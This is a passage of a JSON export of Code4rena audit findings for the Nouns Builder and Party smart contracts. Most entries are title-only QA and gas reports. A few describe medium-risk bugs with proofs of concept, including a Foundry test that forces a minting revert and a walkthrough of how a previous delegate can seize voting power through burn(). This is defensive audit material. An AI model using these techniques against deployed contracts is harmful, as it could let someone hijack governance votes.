"body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "The storage layout in *StorageV1 may prevent the contract from being upgraded", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/131", "labels": ["bug", "duplicate", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "The storage layout in *StorageV1 may prevent the contract from being upgraded"}, {"title": "Lack of event emission after critical initialize() functions", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Lack of event emission after critical initialize() functions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "_handleOutgoingTransfer() does not verify that tokens were transferred successfully.", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "_handleOutgoingTransfer() does not verify that tokens were transferred successfully."}, {"title": "Token: Founder percentages not always respected", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/debe9b792cc70510eadf9b3728cde5b0f2ec9a1f/src/token/Token.sol#L110 # Vulnerability details ## Impact Because of the \"greedy\" minting scheme for founders (tokens to founders are minted until `_isForFounder` returns `false`, i.e. until there is an unset `tokenRecipient[tokenId % 100]`), it can happen that the actual percentages of tokens that the founders receive deviate significantly from the desired percentages: ## Proof Of Concept Imagine we are in a situation where one founder has a 51% share and the other a 48% share. Because `schedule` is set to 1 for the first founder, `tokenRecipient[0] ... tokenRecipient[50]` will be set to his address. `tokenRecipient[51], tokenRecipient[53], ...` is set to the address of the second founder. Now let's say a mint happens just before the `vestExpiry` and when `tokenId % 100 == 0`. In such a situation, founder 1 will get 51 tokens (because of the consecutive entries in `tokenRecipients`) and founder 2 will get 1 token (because of the entry in `tokenRecipient[51]`, which is also consecutive. Let's say that the next mint happens after the vest expiration, which means that no founders get additional tokens. In such a situation, founder 1 got 51 of the \"last 100\" token IDs, whereas founder 2 only got 1. Therefore, the overall percentage of tokens that those founders got will not be 51% and 40%. When the vest expiration was set to a time far in the future, it will be close to it, but when the vest timespan was only short, it can be very bad. In the extreme case where the expiration is set such that only 1 mint call causes mints for founders, founder 1 will have 51 tokens and founder 2 only 1, meaning the percentages are 51% / 1% instead of 51% / 48%! ## Recommended Mitigation Steps Consider using another distribution scheme. Instead of the current \"greedy\" scheme (minting until a slot is free), it would make sense to mint the tokens for the founders every 100 tokens, i.e. everytime when `tokenId % 100 == 0`. Like that, it is ensured that the actual percentages are equal to the desired percentages."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/102", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Founder information not stored if ownership percentage is zero", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Founder information not stored if ownership percentage is zero"}, {"title": "Owners receive more percentage of total nft if some nfts were burned(because were not sold)", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/94", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L71-L126 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L154 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L207-L213 # Vulnerability details ## Impact According to nouns builder, founder can have percentage of created nft. This is set in `Token::_addFounders` function. When new nft is minted by `mint` function then total supply of tokens is incremented and assigned to tokenId using `tokenId = settings.totalSupply++`. Then this token is checked if it should be mint to founder(then again increment total supply of tokens) or should be mint to auction using `while (_isForFounder(tokenId))`. If token wasn't sold during the auction then auction burns it using `burn` function. And this function doesn't decrement `settings.totalSupply` value. But total supply **has changed** now, it has decreased by one. So suppose that we have 1 founder of dao that should receive 2% of nft, that means that if 100 nft are available(for example), then 2 of them belongs to that founder. If we have minted 100 nft and 10 of them were not sold(they were then burned), then there are 90 nft available now. And in current implementation founder has ownership of 2 of them, however **2 is not 2% of 90**. So in case when nft are not sold on auction the percentage of founder's tokens is increasing and the increasing speed depends on how many tokens were not sold. Also founder gets more power in the community(as he has more percentage now). ## Proof of Concept https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L71-L126 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L154 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L207-L213 ## Tools Used ## Recommended Mitigation Steps When `burn` function is called then do `settings.totalSupply--`."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "MetadataRenderer contract raise error when minting", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/metadata/MetadataRenderer.sol#L194 # Vulnerability details ## Impact It is not possible to mint a ERC721 token if its properties has different length than it's items. ## Proof of Concept I run the following test to reproduce the error: deployMock(); vm.prank(address(governor)); string[] memory _names = new string[](1); _names[0] = \"propertyName\"; //fill _names with some value MetadataRendererTypesV1.ItemParam[] memory _items; //define empty array MetadataRendererTypesV1.IPFSGroup memory _ipfsGroup; _ipfsGroup.baseUri = \"\"; _ipfsGroup.extension = \"\"; MetadataRenderer(token.metadataRenderer()).addProperties(_names, _items, _ipfsGroup); //call add property with _items array empty. vm.stopPrank(); vm.prank(address(auction)); uint256 success = token.mint();//error happens inside here assert(success != 0); vm.stopPrank(); Log from Foundry console: \u251c\u2500 [736] TOKEN::metadataRenderer() [staticcall] \u2502 \u251c\u2500 [353] Token::metadataRenderer() [delegatecall] \u2502 \u2502 \u2514\u2500 \u2190 METADATA_RENDERER: [0x7076fd06ec2d09d4679d9c35a8db81ace7a07ee2] \u2502 \u2514\u2500 \u2190 METADATA_RENDERER: [0x7076fd06ec2d09d4679d9c35a8db81ace7a07ee2] \u251c\u2500 [78618] METADATA_RENDERER::addProperties([\"propertyName\"], [], (\"\", \"\")) \u2502 \u251c\u2500 [78172] MetadataRenderer::addProperties([\"propertyName\"], [], (\"\", \"\")) [delegatecall] \u2502 \u2502 \u251c\u2500 emit OwnerUpdated(prevOwner: FOUNDER: [0xd3562fd10840f6ba56112927f7996b7c16edfcc1], newOwner: TREASURY: [0xf8cf955543f1ce957b81c1786be64d5fc96ad7b5]) \u2502 \u2502 \u251c\u2500 emit PropertyAdded(id: 0, name: \"propertyName\") \u2502 \u2502 \u2514\u2500 \u2190 () \u2502 \u2514\u2500 \u2190 () \u251c\u2500 [0] VM::stopPrank() \u2502 \u2514\u2500 \u2190 () \u251c\u2500 [0] VM::prank(AUCTION: [0x9a1450e42d752b8731bc88f20dbaa9154642f1e6]) \u2502 \u2514\u2500 \u2190 () \u251c\u2500 [121037] TOKEN::mint() \u2502 \u251c\u2500 [120650] Token::mint() [delegatecall] \u2502 \u2502 \u251c\u2500 emit Transfer(from: 0x0000000000000000000000000000000000000000, to: FOUNDER: [0xd3562fd10840f6ba56112927f7996b7c16edfcc1], tokenId: 0) \u2502 \u2502 \u251c\u2500 emit DelegateVotesChanged(delegate: FOUNDER: [0xd3562fd10840f6ba56112927f7996b7c16edfcc1], prevTotalVotes: 0, newTotalVotes: 1) \u2502 \u2502 \u251c\u2500 [25762] METADATA_RENDERER::onMinted(0) \u2502 \u2502 \u2502 \u251c\u2500 [25372] MetadataRenderer::onMinted(0) [delegatecall] \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u2190 \"Division or modulo by 0\" \u2502 \u2502 \u2502 \u2514\u2500 \u2190 \"Division or modulo by 0\" \u2502 \u2502 \u2514\u2500 \u2190 \"Division or modulo by 0\" \u2502 \u2514\u2500 \u2190 \"Division or modulo by 0\" \u2514\u2500 \u2190 \"Division or modulo by 0\" ## Tools Used Foundry Manual ## Recommended Mitigation Steps It could be mitigated checking length of both arrays in MetadataRenderer.addProperties() method. It could be done after those lines: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/metadata/MetadataRenderer.sol#L111-L115 Also I recommend to move those declaration and new validation at the beginning to save gas."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "USE SAFETRANSFER()/SAFETRANSFERFROM() INSTEAD OF TRANSFER()/TRANSFERFROM()", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/55", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "USE SAFETRANSFER()/SAFETRANSFERFROM() INSTEAD OF TRANSFER()/TRANSFERFROM()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Unchecked Arrays in the execute Function", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Unchecked Arrays in the execute Function"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/1", "labels": [], "target": "2022-09-nouns-builder-findings", "body": "Agreements & Disclosures"}, {"title": "Previously nominated delegate can reset the delegation", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/361", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "high quality report", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L167-L171 # Vulnerability details burn() allows for previously recorded delegate to set himself to be contributor's delegate even if another one was already chosen. This can be quite material as owner choice for the whole voting power is being reset this way to favor the old delegate. ## Proof of Concept _burn() can be invoked by anyone on the behalf of any `contributor`: https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L167-L171 ```solidity function burn(address payable contributor) public { return _burn(contributor, getCrowdfundLifecycle(), party); } ``` It mints the governance NFT for the contributor whenever he has voting power: https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L471-L485 ```solidity if (votingPower > 0) { // Get the address to delegate voting power to. If null, delegate to self. address delegate = delegationsByContributor[contributor]; if (delegate == address(0)) { // Delegate can be unset for the split recipient if they never // contribute. Self-delegate if this occurs. delegate = contributor; } // Mint governance NFT for the contributor. party_.mint( contributor, votingPower, delegate ); } ``` Now mint() calls _adjustVotingPower() with a new delegate, redirecting all the intristic power, not just one for that id, ignoring the delegation the `owner` might already have: https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernanceNFT.sol#L120-L133 ```solidity function mint( address owner, uint256 votingPower, address delegate ) external onlyMinter onlyDelegateCall { uint256 tokenId = ++tokenCount; votingPowerByTokenId[tokenId] = votingPower; _adjustVotingPower(owner, votingPower.safeCastUint256ToInt192(), delegate); _mint(owner, tokenId); } ``` I.e. Bob the contributor can take part in the crowdfunding with contribute() with small `0.01 ETH` stake, stating Mike as the delegate of his choice with `contribute(Mike, ...)`: https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L189-L208 ```solidity /// @param delegate The address to delegate to for the governance phase. /// @param gateData Data to pass to the gatekeeper to prove eligibility. function contribute(address delegate, bytes memory gateData) public payable { _contribute( msg.sender, msg.value.safeCastUint256ToUint96(), delegate, // We cannot use `address(this).balance - msg.value` as the previous // total contributions in case someone forces (suicides) ETH into this // contract. This wouldn't be such a big deal for open crowdfunds // but private ones (protected by a gatekeeper) could be griefed // because it would ultimately result in governance power that // is unattributed/unclaimable, meaning that party will never be // able to reach 100% consensus. totalContributions, gateData ); ``` Then crowdfund was a success, party was created, and Melany, who also participated, per off-chain arrangement has transferred to Bob a `tokenId` with big voting power (say it is `100 ETH` and the majority of voting power): https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernanceNFT.sol#L146-L155 ```solidity /// @inheritdoc ERC721 function safeTransferFrom(address owner, address to, uint256 tokenId) public override onlyDelegateCall { // Transfer voting along with token. _transferVotingPower(owner, to, votingPowerByTokenId[tokenId]); super.safeTransferFrom(owner, to, tokenId); } ``` https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernance.sol#L879-L887 ```solidity // Transfers some voting power of `from` to `to`. The total voting power of // their respective delegates will be updated as well. function _transferVotingPower(address from, address to, uint256 power) internal { int192 powerI192 = power.safeCastUint256ToInt192(); _adjustVotingPower(from, -powerI192, address(0)); _adjustVotingPower(to, powerI192, address(0)); } ``` Bob don't care about his early small contribution and focuses on managing the one that Melany transferred instead as he simply don't need the voting power from the initial `0.01 ETH` contribution anymore. The actual delegate for Bob at the moment is Linda, while his business with Mike is over. So Bob sets her address there, calling `delegateVotingPower(Linda)`: https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernance.sol#L448-L454 ```solidity /// @notice Pledge your intrinsic voting power to a new delegate, removing it from /// the old one (if any). /// @param delegate The address to delegating voting power to. function delegateVotingPower(address delegate) external onlyDelegateCall { _adjustVotingPower(msg.sender, 0, delegate); emit VotingPowerDelegated(msg.sender, delegate); } ``` Now, Mike can unilaterally delegate to himself the whole voting power with `burn(Bob)` as mint() just resets the delegation with the previously recorded value with `_adjustVotingPower(owner, votingPower.safeCastUint256ToInt192(), delegate)`. ## Recommended Mitigation Steps The issue is that mint() always assumes that it is the first operation for the `owner`, which might not always be the case. Consider not changing the delegate on `mint` if one is set already: https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernanceNFT.sol#L120-L133 ```solidity function mint( address owner, uint256 votingPower, address delegate ) external onlyMinter onlyDelegateCall { uint256 tokenId = ++tokenCount; votingPowerByTokenId[tokenId] = votingPower; + address actualDelegate = ; + if (actualDelegate == address(0)) actualDelegate = delegate; - _adjustVotingPower(owner, votingPower.safeCastUint256ToInt192(), delegate); + _adjustVotingPower(owner, votingPower.safeCastUint256ToInt192(), actualDelegate); _mint(owner, tokenId); } ``` More complicated version might be the one with tracking the most recent request via contribute()/delegateVotingPower() calls timestamps. Here we assume that the delegateVotingPower() holds more information as in the majority of practical cases it occurs after initial contribute() and it is a direct voluntary call from the owner. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/360", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/357", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": " No Address zero check", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/352", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": " No Address zero check"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/350", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/349", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/347", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/346", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/345", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/344", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/342", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/339", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/338", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/337", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/333", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/332", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/331", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/328", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/327", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/326", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/325", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/324", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/323", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/322", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/321", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/319", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/318", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/317", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/316", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/314", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/313", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Use `_safeMint()` instead of `_mint()`", "html_url": 